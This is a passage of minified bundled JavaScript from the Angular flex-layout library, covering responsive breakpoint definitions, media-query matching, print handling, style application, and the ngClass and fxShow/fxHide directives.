q(It){if(It)switch(It.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":It="wrap-reverse";break;case"no":case"none":case"nowrap":It="nowrap";break;default:It="wrap"}return It}let ce=(()=>{class It{constructor(kt,Fe,be,Pe){this.elementRef=kt,this.styleBuilder=Fe,this.styler=be,this.marshal=Pe,this.DIRECTIVE_KEY="",this.inputs=[],this.mru={},this.destroySubject=new s.xQ,this.styleCache=new Map}get parentElement(){return this.elementRef.nativeElement.parentElement}get nativeElement(){return this.elementRef.nativeElement}get activatedValue(){return this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY)}set activatedValue(kt){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,this.marshal.activatedAlias)}ngOnChanges(kt){Object.keys(kt).forEach(Fe=>{if(-1!==this.inputs.indexOf(Fe)){const be=Fe.split(".").slice(1).join(".");this.setValue(kt[Fe].currentValue,be)}})}ngOnDestroy(){this.destroySubject.next(),this.destroySubject.complete(),this.marshal.releaseElement(this.nativeElement)}init(kt=[]){this.marshal.init(this.elementRef.nativeElement,this.DIRECTIVE_KEY,this.updateWithValue.bind(this),this.clearStyles.bind(this),kt)}addStyles(kt,Fe){const be=this.styleBuilder,Pe=be.shouldCache;let Re=this.styleCache.get(kt);(!Re||!Pe)&&(Re=be.buildStyles(kt,Fe),Pe&&this.styleCache.set(kt,Re)),this.mru=Object.assign({},Re),this.applyStyleToElement(Re),be.sideEffect(kt,Re,Fe)}clearStyles(){Object.keys(this.mru).forEach(kt=>{this.mru[kt]=""}),this.applyStyleToElement(this.mru),this.mru={}}triggerUpdate(){this.marshal.triggerUpdate(this.nativeElement,this.DIRECTIVE_KEY)}getFlexFlowDirection(kt,Fe=!1){if(kt){const[be,Pe]=this.styler.getFlowDirection(kt);if(!Pe&&Fe){const Re=function se(It){let[_t,kt,Fe]=function ee(It){It=It?It.toLowerCase():"";let[_t,kt,Fe]=It.split(" ");return K.find(be=>be===_t)||(_t=K[0]),kt===k&&(kt=Fe!==k?Fe:"",Fe=k),[_t,q(kt),!!Fe]}(It);return function we(It,_t=null,kt=!1){return{display:kt?"inline-flex":"flex","box-sizing":"border-box","flex-direction":It,"flex-wrap":_t||null}}(_t,kt,Fe)}(be);this.styler.applyStyleToElements(Re,[kt])}return be.trim()}return"row"}hasWrap(kt){return this.styler.hasWrap(kt)}applyStyleToElement(kt,Fe,be=this.nativeElement){this.styler.applyStyleToElement(be,kt,Fe)}setValue(kt,Fe){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,Fe)}updateWithValue(kt){this.currentValue!==kt&&(this.addStyles(kt),this.currentValue=kt)}}return It.\\u0275fac=function(kt){n.$Z()},It.\\u0275dir=n.lG2({type:It,features:[n.TTD]}),It})();const je=[{alias:"xs",mediaQuery:"screen and (min-width: 0px) and (max-width: 599.9px)",priority:1e3},{alias:"sm",mediaQuery:"screen and (min-width: 600px) and (max-width: 959.9px)",priority:900},{alias:"md",mediaQuery:"screen and (min-width: 960px) and (max-width: 1279.9px)",priority:800},{alias:"lg",mediaQuery:"screen and (min-width: 1280px) and (max-width: 1919.9px)",priority:700},{alias:"xl",mediaQuery:"screen and (min-width: 1920px) and (max-width: 4999.9px)",priority:600},{alias:"lt-sm",overlapping:!0,mediaQuery:"screen and (max-width: 599.9px)",priority:950},{alias:"lt-md",overlapping:!0,mediaQuery:"screen and (max-width: 959.9px)",priority:850},{alias:"lt-lg",overlapping:!0,mediaQuery:"screen and (max-width: 1279.9px)",priority:750},{alias:"lt-xl",overlapping:!0,priority:650,mediaQuery:"screen and (max-width: 1919.9px)"},{alias:"gt-xs",overlapping:!0,mediaQuery:"screen and (min-width: 600px)",priority:-950},{alias:"gt-sm",overlapping:!0,mediaQuery:"screen and (min-width: 960px)",priority:-850},{alias:"gt-md",overlapping:!0,mediaQuery:"screen and (min-width: 1280px)",priority:-750},{alias:"gt-lg",overlapping:!0,mediaQuery:"screen and (min-width: 1920px)",priority:-650}],Ze="(orientation: portrait) and (max-width: 599.9px)",le="(orientation: landscape) and (max-width: 959.9px)",Oe="(orientation: portrait) and (min-width: 600px) and (max-width: 839.9px)",Qe="(orientation: landscape) and (min-width: 960px) and (max-width: 1279.9px)",Ye="(orientation: portrait) and (min-width: 840px)",qe="(orientation: landscape) and (min-width: 1280px)",Ke={HANDSET:`${Ze}, ${le}`,TABLET:`${Oe} , ${Qe}`,WEB:`${Ye}, ${qe} `,HANDSET_PORTRAIT:`${Ze}`,TABLET_PORTRAIT:`${Oe} `,WEB_PORTRAIT:`${Ye}`,HANDSET_LANDSCAPE:`${le}`,TABLET_LANDSCAPE:`${Qe}`,WEB_LANDSCAPE:`${qe}`},dt=[{alias:"handset",priority:2e3,mediaQuery:Ke.HANDSET},{alias:"handset.landscape",priority:2e3,mediaQuery:Ke.HANDSET_LANDSCAPE},{alias:"handset.portrait",priority:2e3,mediaQuery:Ke.HANDSET_PORTRAIT},{alias:"tablet",priority:2100,mediaQuery:Ke.TABLET},{alias:"tablet.landscape",priority:2100,mediaQuery:Ke.TABLET_LANDSCAPE},{alias:"tablet.portrait",priority:2100,mediaQuery:Ke.TABLET_PORTRAIT},{alias:"web",priority:2200,mediaQuery:Ke.WEB,overlapping:!0},{alias:"web.landscape",priority:2200,mediaQuery:Ke.WEB_LANDSCAPE,overlapping:!0},{alias:"web.portrait",priority:2200,mediaQuery:Ke.WEB_PORTRAIT,overlapping:!0}],ze=/(\\.|-|_)/g;function De(It){let _t=It.length>0?It.charAt(0):"",kt=It.length>1?It.slice(1):"";return _t.toUpperCase()+kt}function We(It,_t=[]){const kt={};return It.forEach(Fe=>{kt[Fe.alias]=Fe}),_t.forEach(Fe=>{kt[Fe.alias]?function bt(It,..._t){if(null==It)throw TypeError("Cannot convert undefined or null to object");for(let kt of _t)if(null!=kt)for(let Fe in kt)kt.hasOwnProperty(Fe)&&(It[Fe]=kt[Fe])}(kt[Fe.alias],Fe):kt[Fe.alias]=Fe}),function ve(It){return It.forEach(_t=>{_t.suffix||(_t.suffix=function re(It){return It.replace(ze,"|").split("|").map(De).join("")}(_t.alias),_t.overlapping=!!_t.overlapping)}),It}(Object.keys(kt).map(Fe=>kt[Fe]))}const xt=new n.OlP("Token (@angular/flex-layout) Breakpoints",{providedIn:"root",factory:()=>{const It=(0,n.f3M)(oe),_t=(0,n.f3M)(G),kt=[].concat.apply([],(It||[]).map(be=>Array.isArray(be)?be:[be]));return We((_t.disableDefaultBps?[]:je).concat(_t.addOrientationBps?dt:[]),kt)}});function Be(It,_t){return(_t&&_t.priority||0)-(It&&It.priority||0)}function pe(It,_t){return(It.priority||0)-(_t.priority||0)}let P=(()=>(()=>{class _t{constructor(Fe){this.findByMap=new Map,this.items=[...Fe].sort(pe)}findByAlias(Fe){return Fe?this.findWithPredicate(Fe,be=>be.alias==Fe):null}findByQuery(Fe){return this.findWithPredicate(Fe,be=>be.mediaQuery==Fe)}get overlappings(){return this.items.filter(Fe=>1==Fe.overlapping)}get aliases(){return this.items.map(Fe=>Fe.alias)}get suffixes(){return this.items.map(Fe=>Fe.suffix?Fe.suffix:"")}findWithPredicate(Fe,be){let Pe=this.findByMap.get(Fe);return Pe||(Pe=this.items.find(be)||null,this.findByMap.set(Fe,Pe)),Pe||null}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(xt))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(xt))},token:_t,providedIn:"root"}),_t})())(),w=(()=>(()=>{class _t{constructor(Fe,be,Pe){this._zone=Fe,this._platformId=be,this._document=Pe,this.source=new u.X(new H(!0)),this.registry=new Map,this.pendingRemoveListenerFns=[],this._observable$=this.source.asObservable()}get activations(){const Fe=[];return this.registry.forEach((be,Pe)=>{be.matches&&Fe.push(Pe)}),Fe}isActive(Fe){const be=this.registry.get(Fe);return be?be.matches:this.registerQuery(Fe).some(Pe=>Pe.matches)}observe(Fe,be=!1){if(Fe&&Fe.length){const Pe=this._observable$.pipe((0,E.h)(Ue=>!be||Fe.indexOf(Ue.mediaQuery)>-1)),Re=new c.y(Ue=>{const xe=this.registerQuery(Fe);if(xe.length){const J=xe.pop();xe.forEach(Ae=>{Ue.next(Ae)}),this.source.next(J)}Ue.complete()});return(0,f.T)(Re,Pe)}return this._observable$}registerQuery(Fe){const be=Array.isArray(Fe)?Fe:[Fe],Pe=[];return function X(It,_t){const kt=It.filter(Fe=>!R[Fe]);if(kt.length>0){const Fe=kt.join(", ");try{const be=_t.createElement("style");be.setAttribute("type","text/css"),be.styleSheet||be.appendChild(_t.createTextNode(`\\n/*\\n @angular/flex-layout - workaround for possible browser quirk with mediaQuery listeners\\n see http://bit.ly/2sd4HMP\\n*/\\n@media ${Fe} {.fx-query-test{ }}\\n`)),_t.head.appendChild(be),kt.forEach(Pe=>R[Pe]=be)}catch(be){console.error(be)}}}(be,this._document),be.forEach(Re=>{const Ue=J=>{this._zone.run(()=>this.source.next(new H(J.matches,Re)))};let xe=this.registry.get(Re);xe||(xe=this.buildMQL(Re),xe.addListener(Ue),this.pendingRemoveListenerFns.push(()=>xe.removeListener(Ue)),this.registry.set(Re,xe)),xe.matches&&Pe.push(new H(!0,Re))}),Pe}ngOnDestroy(){let Fe;for(;Fe=this.pendingRemoveListenerFns.pop();)Fe()}buildMQL(Fe){return function _e(It,_t){return _t&&window.matchMedia("all").addListener?window.matchMedia(It):{matches:"all"===It||""===It,media:It,addListener:()=>{},removeListener:()=>{},onchange:null,addEventListener(){},removeEventListener(){},dispatchEvent:()=>!1}}(Fe,(0,a.NF)(this._platformId))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(n.R0b),n.LFG(n.Lbi),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(n.R0b),(0,n.LFG)(n.Lbi),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();const R={},Dt="print",Pt={alias:Dt,mediaQuery:Dt,priority:1e3};let Ie=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.breakpoints=Fe,this.layoutConfig=be,this._document=Pe,this.registeredBeforeAfterPrintHooks=!1,this.isPrintingBeforeAfterEvent=!1,this.beforePrintEventListeners=[],this.afterPrintEventListeners=[],this.isPrinting=!1,this.queue=new te,this.deactivations=[]}withPrintQuery(Fe){return[...Fe,Dt]}isPrintEvent(Fe){return Fe.mediaQuery.startsWith(Dt)}get printAlias(){return this.layoutConfig.printWithBreakpoints||[]}get printBreakPoints(){return this.printAlias.map(Fe=>this.breakpoints.findByAlias(Fe)).filter(Fe=>null!==Fe)}getEventBreakpoints({mediaQuery:Fe}){const be=this.breakpoints.findByQuery(Fe);return(be?[...this.printBreakPoints,be]:this.printBreakPoints).sort(Be)}updateEvent(Fe){let be=this.breakpoints.findByQuery(Fe.mediaQuery);return this.isPrintEvent(Fe)&&(be=this.getEventBreakpoints(Fe)[0],Fe.mediaQuery=be?be.mediaQuery:""),Ce(Fe,be)}registerBeforeAfterPrintHooks(Fe){if(!this._document.defaultView||this.registeredBeforeAfterPrintHooks)return;this.registeredBeforeAfterPrintHooks=!0;const be=()=>{this.isPrinting||(this.isPrintingBeforeAfterEvent=!0,this.startPrinting(Fe,this.getEventBreakpoints(new H(!0,Dt))),Fe.updateStyles())},Pe=()=>{this.isPrintingBeforeAfterEvent=!1,this.isPrinting&&(this.stopPrinting(Fe),Fe.updateStyles())};this._document.defaultView.addEventListener("beforeprint",be),this._document.defaultView.addEventListener("afterprint",Pe),this.beforePrintEventListeners.push(be),this.afterPrintEventListeners.push(Pe)}interceptEvents(Fe){return this.registerBeforeAfterPrintHooks(Fe),be=>{this.isPrintEvent(be)?be.matches&&!this.isPrinting?(this.startPrinting(Fe,this.getEventBreakpoints(be)),Fe.updateStyles()):!be.matches&&this.isPrinting&&!this.isPrintingBeforeAfterEvent&&(this.stopPrinting(Fe),Fe.updateStyles()):this.collectActivations(be)}}blockPropagation(){return Fe=>!(this.isPrinting||this.isPrintEvent(Fe))}startPrinting(Fe,be){this.isPrinting=!0,Fe.activatedBreakpoints=this.queue.addPrintBreakpoints(be)}stopPrinting(Fe){Fe.activatedBreakpoints=this.deactivations,this.deactivations=[],this.queue.clear(),this.isPrinting=!1}collectActivations(Fe){if(!this.isPrinting||this.isPrintingBeforeAfterEvent)if(Fe.matches)this.isPrintingBeforeAfterEvent||(this.deactivations=[]);else{const be=this.breakpoints.findByQuery(Fe.mediaQuery);be&&(this.deactivations.push(be),this.deactivations.sort(Be))}}ngOnDestroy(){this.beforePrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("beforeprint",Fe)),this.afterPrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("afterprint",Fe))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(P),n.LFG(G),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(P),(0,n.LFG)(G),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();class te{constructor(){this.printBreakpoints=[]}addPrintBreakpoints(_t){return _t.push(Pt),_t.sort(Be),_t.forEach(kt=>this.addBreakpoint(kt)),this.printBreakpoints}addBreakpoint(_t){_t&&void 0===this.printBreakpoints.find(Fe=>Fe.mediaQuery===_t.mediaQuery)&&(this.printBreakpoints=function x(It){return!!It&&It.mediaQuery.startsWith(Dt)}(_t)?[_t,...this.printBreakpoints]:[...this.printBreakpoints,_t])}clear(){this.printBreakpoints=[]}}function it(It){for(let _t in It){let kt=It[_t]||"";switch(_t){case"display":It.display="flex"===kt?["-webkit-flex","flex"]:"inline-flex"===kt?["-webkit-inline-flex","inline-flex"]:kt;break;case"align-items":case"align-self":case"align-content":case"flex":case"flex-basis":case"flex-flow":case"flex-grow":case"flex-shrink":case"flex-wrap":case"justify-content":It["-webkit-"+_t]=kt;break;case"flex-direction":kt=kt||"row",It["-webkit-flex-direction"]=kt,It["flex-direction"]=kt;break;case"order":It.order=It["-webkit-"+_t]=isNaN(+kt)?"0":kt}}return It}let wt=(()=>(()=>{class _t{constructor(Fe,be,Pe,Re){this._serverStylesheet=Fe,this._serverModuleLoaded=be,this._platformId=Pe,this.layoutConfig=Re}applyStyleToElement(Fe,be,Pe=null){let Re={};"string"==typeof be&&(Re[be]=Pe,be=Re),Re=this.layoutConfig.disableVendorPrefixes?be:it(be),this._applyMultiValueStyleToElement(Re,Fe)}applyStyleToElements(Fe,be=[]){const Pe=this.layoutConfig.disableVendorPrefixes?Fe:it(Fe);be.forEach(Re=>{this._applyMultiValueStyleToElement(Pe,Re)})}getFlowDirection(Fe){const be="flex-direction";let Pe=this.lookupStyle(Fe,be);return[Pe||"row",this.lookupInlineStyle(Fe,be)||(0,a.PM)(this._platformId)&&this._serverModuleLoaded?Pe:""]}hasWrap(Fe){return"wrap"===this.lookupStyle(Fe,"flex-wrap")}lookupAttributeValue(Fe,be){return Fe.getAttribute(be)||""}lookupInlineStyle(Fe,be){return(0,a.NF)(this._platformId)?Fe.style.getPropertyValue(be):this._getServerStyle(Fe,be)}lookupStyle(Fe,be,Pe=!1){let Re="";return Fe&&((Re=this.lookupInlineStyle(Fe,be))||((0,a.NF)(this._platformId)?Pe||(Re=getComputedStyle(Fe).getPropertyValue(be)):this._serverModuleLoaded&&(Re=this._serverStylesheet.getStyleForElement(Fe,be)))),Re?Re.trim():""}_applyMultiValueStyleToElement(Fe,be){Object.keys(Fe).sort().forEach(Pe=>{const Re=Fe[Pe],Ue=Array.isArray(Re)?Re:[Re];Ue.sort();for(let xe of Ue)xe=xe?xe+"":"",(0,a.NF)(this._platformId)||!this._serverModuleLoaded?(0,a.NF)(this._platformId)?be.style.setProperty(Pe,xe):this._setServerStyle(be,Pe,xe):this._serverStylesheet.addStyleToElement(be,Pe,xe)})}_setServerStyle(Fe,be,Pe){be=be.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase();const Re=this._readStyleAttribute(Fe);Re[be]=Pe||"",this._writeStyleAttribute(Fe,Re)}_getServerStyle(Fe,be){return this._readStyleAttribute(Fe)[be]||""}_readStyleAttribute(Fe){const be={},Pe=Fe.getAttribute("style");if(Pe){const Re=Pe.split(/;+/g);for(let Ue=0;Ue<Re.length;Ue++){const xe=Re[Ue].trim();if(xe.length>0){const J=xe.indexOf(":");if(-1===J)throw new Error(`Invalid CSS style: ${xe}`);be[xe.substr(0,J).trim()]=xe.substr(J+1).trim()}}}return be}_writeStyleAttribute(Fe,be){let Pe="";for(const Re in be)be[Re]&&(Pe+=Re+":"+be[Re]+";");Fe.setAttribute("style",Pe)}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(j),n.LFG(Q),n.LFG(n.Lbi),n.LFG(G))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(j),(0,n.LFG)(Q),(0,n.LFG)(n.Lbi),(0,n.LFG)(G))},token:_t,providedIn:"root"}),_t})())();class Vt{constructor(){this.shouldCache=!0}sideEffect(_t,kt,Fe){}}function Gt(It,_t="1",kt="1"){let Fe=[_t,kt,It],be=It.indexOf("calc");if(be>0){Fe[2]=qt(It.substring(be).trim());let Pe=It.substr(0,be).trim().split(" ");2==Pe.length&&(Fe[0]=Pe[0],Fe[1]=Pe[1])}else if(0==be)Fe[2]=qt(It.trim());else{let Pe=It.split(" ");Fe=3===Pe.length?Pe:[_t,kt,It]}return Fe}function qt(It){return It.replace(/[\\s]/g,"").replace(/[\\/\\*\\+\\-]/g," $& ")}let u1=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.matchMedia=Fe,this.breakpoints=be,this.hook=Pe,this.activatedBreakpoints=[],this.elementMap=new Map,this.elementKeyMap=new WeakMap,this.watcherMap=new WeakMap,this.updateMap=new WeakMap,this.clearMap=new WeakMap,this.subject=new s.xQ,this.observeActivations()}get activatedAlias(){return this.activatedBreakpoints[0]?this.activatedBreakpoints[0].alias:""}onMediaChange(Fe){const be=this.findByQuery(Fe.mediaQuery);be&&((Fe=Ce(Fe,be)).matches&&-1===this.activatedBreakpoints.indexOf(be)?(this.activatedBreakpoints.push(be),this.activatedBreakpoints.sort(Be),this.updateStyles()):!Fe.matches&&-1!==this.activatedBreakpoints.indexOf(be)&&(this.activatedBreakpoints.splice(this.activatedBreakpoints.indexOf(be),1),this.activatedBreakpoints.sort(Be),this.updateStyles()))}init(Fe,be,Pe,Re,Ue=[]){c1(this.updateMap,Fe,be,Pe),c1(this.clearMap,Fe,be,Re),this.buildElementKeyMap(Fe,be),this.watchExtraTriggers(Fe,be,Ue)}getValue(Fe,be,Pe){const Re=this.elementMap.get(Fe);if(Re){const Ue=void 0!==Pe?Re.get(Pe):this.getActivatedValues(Re,be);if(Ue)return Ue.get(be)}}hasValue(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);if(Re)return void 0!==Re.get(be)||!1}return!1}setValue(Fe,be,Pe,Re){let Ue=this.elementMap.get(Fe);if(Ue){const J=(Ue.get(Re)||new Map).set(be,Pe);Ue.set(Re,J),this.elementMap.set(Fe,Ue)}else Ue=(new Map).set(Re,(new Map).set(be,Pe)),this.elementMap.set(Fe,Ue);const xe=this.getValue(Fe,be);void 0!==xe&&this.updateElement(Fe,be,xe)}trackValue(Fe,be){return this.subject.asObservable().pipe((0,E.h)(Pe=>Pe.element===Fe&&Pe.key===be))}updateStyles(){this.elementMap.forEach((Fe,be)=>{const Pe=new Set(this.elementKeyMap.get(be));let Re=this.getActivatedValues(Fe);Re&&Re.forEach((Ue,xe)=>{this.updateElement(be,xe,Ue),Pe.delete(xe)}),Pe.forEach(Ue=>{if(Re=this.getActivatedValues(Fe,Ue),Re){const xe=Re.get(Ue);this.updateElement(be,Ue,xe)}else this.clearElement(be,Ue)})})}clearElement(Fe,be){const Pe=this.clearMap.get(Fe);if(Pe){const Re=Pe.get(be);Re&&(Re(),this.subject.next({element:Fe,key:be,value:""}))}}updateElement(Fe,be,Pe){const Re=this.updateMap.get(Fe);if(Re){const Ue=Re.get(be);Ue&&(Ue(Pe),this.subject.next({element:Fe,key:be,value:Pe}))}}releaseElement(Fe){const be=this.watcherMap.get(Fe);be&&(be.forEach(Re=>Re.unsubscribe()),this.watcherMap.delete(Fe));const Pe=this.elementMap.get(Fe);Pe&&(Pe.forEach((Re,Ue)=>Pe.delete(Ue)),this.elementMap.delete(Fe))}triggerUpdate(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);Re&&(be?this.updateElement(Fe,be,Re.get(be)):Re.forEach((Ue,xe)=>this.updateElement(Fe,xe,Ue)))}}buildElementKeyMap(Fe,be){let Pe=this.elementKeyMap.get(Fe);Pe||(Pe=new Set,this.elementKeyMap.set(Fe,Pe)),Pe.add(be)}watchExtraTriggers(Fe,be,Pe){if(Pe&&Pe.length){let Re=this.watcherMap.get(Fe);if(Re||(Re=new Map,this.watcherMap.set(Fe,Re)),!Re.get(be)){const xe=(0,f.T)(...Pe).subscribe(()=>{const J=this.getValue(Fe,be);this.updateElement(Fe,be,J)});Re.set(be,xe)}}}findByQuery(Fe){return this.breakpoints.findByQuery(Fe)}getActivatedValues(Fe,be){for(let Re=0;Re<this.activatedBreakpoints.length;Re++){const xe=Fe.get(this.activatedBreakpoints[Re].alias);if(xe&&(void 0===be||xe.has(be)&&null!=xe.get(be)))return xe}const Pe=Fe.get("");return void 0===be||Pe&&Pe.has(be)?Pe:void 0}observeActivations(){const be=this.breakpoints.items.map(Pe=>Pe.mediaQuery);this.matchMedia.observe(this.hook.withPrintQuery(be)).pipe((0,_.b)(this.hook.interceptEvents(this)),(0,E.h)(this.hook.blockPropagation())).subscribe(this.onMediaChange.bind(this))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(w),n.LFG(P),n.LFG(Ie))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(w),(0,n.LFG)(P),(0,n.LFG)(Ie))},token:_t,providedIn:"root"}),_t})())();function c1(It,_t,kt,Fe){if(void 0!==Fe){let be=It.get(_t);be||(be=new Map,It.set(_t,be)),be.set(kt,Fe)}}},1600:(At,ae,d)=>{"use strict";d.d(ae,{aT:()=>bt,b8:()=>se,oO:()=>G});var n=d(4650),a=d(6895),s=d(5107),u=d(1281),c=d(7625);d(1481);let H=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,null,We,xt),this.ngClassInstance=w,this.DIRECTIVE_KEY="ngClass",this.ngClassInstance||(this.ngClassInstance=new a.mk(Be,pe,ve,P)),this.init(),this.setValue("","")}set klass(ve){this.ngClassInstance.klass=ve,this.setValue(ve,"")}updateWithValue(ve){this.ngClassInstance.ngClass=ve,this.ngClassInstance.ngDoCheck()}ngDoCheck(){this.ngClassInstance.ngDoCheck()}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(s.RK),n.Y36(s.yB),n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.Qsj),n.Y36(a.mk,10))},De.\\u0275dir=n.lG2({type:De,inputs:{klass:["class","klass"]},features:[n.qOj]}),De})())();const j=["ngClass","ngClass.xs","ngClass.sm","ngClass.md","ngClass.lg","ngClass.xl","ngClass.lt-sm","ngClass.lt-md","ngClass.lt-lg","ngClass.lt-xl","ngClass.gt-xs","ngClass.gt-sm","ngClass.gt-md","ngClass.gt-lg"];let G=(()=>(()=>{class De extends H{constructor(){super(...arguments),this.inputs=j}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","ngClass",""],["","ngClass.xs",""],["","ngClass.sm",""],["","ngClass.md",""],["","ngClass.lg",""],["","ngClass.xl",""],["","ngClass.lt-sm",""],["","ngClass.lt-md",""],["","ngClass.lt-lg",""],["","ngClass.lt-xl",""],["","ngClass.gt-xs",""],["","ngClass.gt-sm",""],["","ngClass.gt-md",""],["","ngClass.gt-lg",""]],inputs:{ngClass:"ngClass","ngClass.xs":"ngClass.xs","ngClass.sm":"ngClass.sm","ngClass.md":"ngClass.md","ngClass.lg":"ngClass.lg","ngClass.xl":"ngClass.xl","ngClass.lt-sm":"ngClass.lt-sm","ngClass.lt-md":"ngClass.lt-md","ngClass.lt-lg":"ngClass.lt-lg","ngClass.lt-xl":"ngClass.lt-xl","ngClass.gt-xs":"ngClass.gt-xs","ngClass.gt-sm":"ngClass.gt-sm","ngClass.gt-md":"ngClass.gt-md","ngClass.gt-lg":"ngClass.gt-lg"},features:[n.qOj]}),De})())(),Q=(()=>(()=>{class De extends s.QI{buildStyles(ve,We){return{display:"true"===ve?We.display||(We.isServer?"initial":""):"none"}}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275prov=(0,n.Yz7)({factory:function(){return new De},token:De,providedIn:"root"}),De})())(),oe=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,We,xt,Be),this.layoutConfig=pe,this.platformId=P,this.serverModuleLoaded=w,this.DIRECTIVE_KEY="show-hide",this.display="",this.hasLayout=!1,this.hasFlexChild=!1}ngAfterViewInit(){this.trackExtraTriggers();const ve=Array.from(this.nativeElement.children);for(let xt=0;xt<ve.length;xt++)if(this.marshal.hasValue(ve[xt],"flex")){this.hasFlexChild=!0;break}Ce.has(this.nativeElement)?this.display=Ce.get(this.nativeElement):(this.display=this.getDisplayStyle(),Ce.set(this.nativeElement,this.display)),this.init();const We=this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY,"");void 0===We||""===We?this.setValue(!0,""):this.triggerUpdate()}ngOnChanges(ve){Object.keys(ve).forEach(We=>{if(-1!==this.inputs.indexOf(We)){const xt=We.split("."),Be=xt.slice(1).join("."),pe=ve[We].currentValue;let P=""===pe||0!==pe&&(0,u.Ig)(pe);"fxHide"===xt[0]&&(P=!P),this.setValue(P,Be)}})}trackExtraTriggers(){this.hasLayout=this.marshal.hasValue(this.nativeElement,"layout"),["layout","layout-align"].forEach(ve=>{this.marshal.trackValue(this.nativeElement,ve).pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerUpdate.bind(this))})}getDisplayStyle(){return this.hasLayout||this.hasFlexChild&&this.layoutConfig.addFlexToParent?"flex":this.styler.lookupStyle(this.nativeElement,"display",!0)}updateWithValue(ve=!0){if(""===ve)return;const We=(0,a.PM)(this.platformId);this.addStyles(ve?"true":"false",{display:this.display,isServer:We}),We&&this.serverModuleLoaded&&this.nativeElement.style.setProperty("display",""),this.marshal.triggerUpdate(this.parentElement,"layout-gap")}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(Q),n.Y36(s.RK),n.Y36(s.yB),n.Y36(s.WU),n.Y36(n.Lbi),n.Y36(s.wY))},De.\\u0275dir=n.lG2({type:De,features:[n.qOj,n.TTD]}),De})())();const Ce=new WeakMap,k=["fxShow","fxShow.print","fxShow.xs","fxShow.sm","fxShow.md","fxShow.lg","fxShow.xl","fxShow.lt-sm","fxShow.lt-md","fxShow.lt-lg","fxShow.lt-xl","fxShow.gt-xs","fxShow.gt-sm","fxShow.gt-md","fxShow.gt-lg","fxHide","fxHide.print","fxHide.xs","fxHide.sm","fxHide.md","fxHide.lg","fxHide.xl","fxHide.lt-sm","fxHide.lt-md","fxHide.lt-lg","fxHide.lt-xl","fxHide.gt-xs","fxHide.gt-sm","fxHide.gt-md","fxHide.gt-lg"];let se=(()=>(()=>{class De extends oe{constructor(){super(...arguments),this.inputs=k}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","fxShow",""],["","fxShow.print",""],["","fxShow.xs",""],["","fxShow.sm",""],["","fxShow.md",""],["","fxShow.lg",""],["","fxShow.xl",""],["","fxShow.lt-sm",""],["","fxShow.lt-md",""],["","fxShow.lt-lg",""],["","fxShow.lt-xl",""],["","fxShow.gt-xs",""],["","fxShow.gt-sm",""],["","fxShow.gt-md",""],["","fxShow.gt-lg",""],["","fxHide",""],["","fxHide.print",""],["","fxHide.xs",""],["","fxHide.sm",""],["","fxHide.md",""],["","fxHide.lg",""],["","fxHide.xl",""],["","fxHide.lt-sm",""],["","fxHide.lt-md",""],["","fxHide.lt-lg",""],["","fxHide.lt-xl",""],["","fxHide.gt-xs",""],["","fxHide.gt-sm",""],["","fxHide.gt-md",""],["","fxHide.gt-lg",""]],inputs:{fxShow:"fxShow","fxShow.print":"fxShow.print","fxShow.xs":"fxShow.xs","fxShow.sm":"fxShow.sm","fxShow.md":"fxShow.md","fxShow.lg":"fxShow.lg","fxShow.xl":"fxShow.xl","fxShow.lt-sm":"fxShow.lt-sm","fxShow.lt-md":"fxShow.lt-md","fxShow.lt-lg":"fxShow.lt-lg","fxShow.lt-xl":"fxShow.lt-xl","fxShow.gt-xs":"fxShow.gt-xs","fxShow.gt-sm":"fxShow.gt-sm","fxShow.gt-md":"fxShow.gt-md","fxShow.gt-lg":"fxShow.gt-lg",fxHide:"fxHide","fxHide.print":"fxHide.print","fxHide.xs":"fxHide.xs","fxHide.sm":"fxHide.sm","fxHide.md":"fxHide.md","fxHide.lg":"fxHide.lg","fxHide.xl":"fxHide.xl","fxHide.lt-sm":"fxHide.lt-sm","fxHide.lt-md":"fxHide.lt-md","fxHide.lt-lg":"fxHide.lt-lg","fxHide.lt-xl":"fxHide.lt-xl","fxHide.gt-xs":"fxHide.gt-xs","fxHide.gt-sm":"fxHide.gt-sm","fxHide.gt-md":"fxHide.gt-md","fxHide.gt-lg":"fxHide.